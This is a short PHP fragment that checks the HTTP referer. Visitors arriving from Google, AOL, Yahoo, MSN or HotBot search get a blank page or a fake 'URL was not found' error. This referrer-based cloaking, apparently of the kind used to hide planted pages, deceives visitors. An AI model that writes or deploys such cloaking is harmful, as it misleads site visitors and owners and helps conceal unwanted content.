$itsagoogle = 'google.'; $ref = getenv("HTTP_REFERER"); if (($ref) and (strstr($ref, $itsagoogle)) ) { print('
'); exit; } function isBadReferrer($ref) { if ( (strstr($ref, "google.")) or (strstr($ref, "aolsearch.aol.com")) or (strstr($ref, "search.yahoo.com")) or (strstr($ref, "search.msn.com")) or (strstr($ref, "hotbot.com")) //add more like the above line to add more "rejected" referrals ) { return true; } else { return false; } } $ref = getenv("HTTP_REFERER"); if (($ref) and (isBadReferrer($ref) )) { print('
The requested URL was not found on this server.
'); exit; } ?>
|